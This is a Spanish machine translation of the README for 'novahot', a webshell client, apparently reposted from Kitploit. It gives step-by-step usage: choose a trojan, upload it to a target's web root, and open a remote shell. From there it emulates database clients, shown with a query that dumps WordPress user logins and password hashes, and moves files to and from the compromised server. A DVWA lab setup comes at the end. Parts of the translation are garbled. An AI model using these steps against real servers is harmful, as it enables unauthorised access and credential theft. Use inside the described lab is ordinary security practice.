Más allá de la ejecución de los comandos del sistema, novahot
es capaz de emular terminales interactivos, entre ellos mysql
, sqlite3
y psql
. Además, implementa «comandos virtuales» que hacen posible cargar, descargar, editar y ver archivos remotos de manera local utilizando sus aplicaciones preferidas.
Instalación
Instale el ejecutable directamente desde npm:
[sudo] npm install -g novahot
Entonces siembra un archivo de configuración:
novahot config > ~/.novahotrc
Uso
- Ver los troyanos disponibles con .
novahot trojan list
- Seleccione un troyano en un idioma que sea apropiado para su objetivo, luego copie su fuente en un nuevo archivo. (Ex:
novahot trojan view basic.php > ~/my-trojan.php
) - Cambia la contraseña de control en el troyano recién creado.
- Suba el troyano a una ubicación accesible en la web en el objetivo.
- Configurar la información de destino en la
targets
propiedad en~/.novahotrc
. - Corre
novahot shell <target>
para abrir una concha.
Modos de Shell
Internamente,novahot
utiliza «modos» y «adaptadores» para emular varios clientes interactivos, que incluyen actualmentemysql
,psql
(postgres) ysqlite3
clientes.
Para cambiarnovahot
el modo, emita el «comando de punto» apropiado:
.mysql { "username" : "mysql-user", "password" : "the-password", "database" : "the-database" }
(Los parámetros de conexión se pueden especificar como JSON mientras se cambian los modos, o se pueden guardar alternativamente como datos de configuración de destino ~/.novahotrc
).
Por ejemplo, el mysql
modo permite ejecutar directamente consultas como las siguientes:
mysql> SELECT ID, user_login, user_email, user_pass FROM wp_users;
Además, existe un payload
modo que se puede utilizar para POST
enviar datos arbitrarios al troyano. Vea el wiki para más información .
Los comandos virtuales
novahot
implementan cuatro «comandos virtuales» que utilizan cargas útiles integradas en los troyanos para ampliar la funcionalidad del shell:
descargar
download <remote-filename> [<local-filename>]
Descarga <remote-filename>
a --download-dir
, y opcionalmente lo renombra a <local-filename>
si está especificado.
subir
upload <local-filename> [<remote-filename>]
Se carga <local-filename>
en el shell cwd
y, opcionalmente, se renombra <local-filename>
a <remote-filename>
si se especifica.
ver
view <remote-filename> [<local-filename>]
Las descargas <remote-filename>
a --download-dir
, y opcionalmente lo renombran a <local-filename>
Después de descargar, el archivo será abierto por la aplicación de «visor» especificada en las configuraciones .
editar
edit <remote-filename>
Se descarga <remote-filename>
en un archivo temporal y, a continuación, abre ese archivo para editarlo con el «editor» especificado en las configuraciones . Después, si los cambios en el archivo se guardan localmente, el archivo se volverá a cargar automáticamente en el servidor.
Aprovisionamiento de un entorno de prueba
Este repositorio contiene un entorno de laboratorio creado en Vagrant , Docker y la aplicación web Damn Vulnerable («DVWA»). Los pasos para aprovisionar el entorno varían según las capacidades de su host físico.
Uso de docker-compose
Si tiene docker
e docker-compose
instaló en su host físico, simplemente puede hacer lo siguiente:
- Clonar y
cd
para este repositorio. - Correr:
docker-compose up
Una vez que se inicie el contenedor de la ventana acoplable, se podrá acceder a la DVWA en http: // localhost: 80 .
Uso de vagrant
Si docker
no está instalado en su host físico, puede usar Vagrant / Virtualbox para acceder a una máquina virtual con capacidad de conexión:
- Clonar y
cd
para este repositorio. - Aprovisionar una máquina virtual:
vagrant up
- SSH en la máquina virtual:
vagrant ssh
- Iniciar el contenedor docker:
sudo su; cd /vagrant; docker-compose up
La DVWA estará disponible en http: // localhost: 8000 .
Configuración de novahot en el entorno de laboratorio
Especifique las siguientes cadenas de conexión en su ~/.novahotrc
archivo para conectar el novahot
cliente al troyano PHP incrustado en el contenedor DVWA:
{
"targets": {
"dvwa" : {
"uri" : "http://localhost:8000/novahot.php",
"password" : "the-password",
"mysql" : {
"username": "root",
"password": "vulnerables",
"database": "dvwa"
}
}
}
}
A continuación, puede establecer un webshell a través de:
novahot shell dvwa
Información adicional Se puede encontrar información adicional en el wiki.
Fuente: Kitploit.com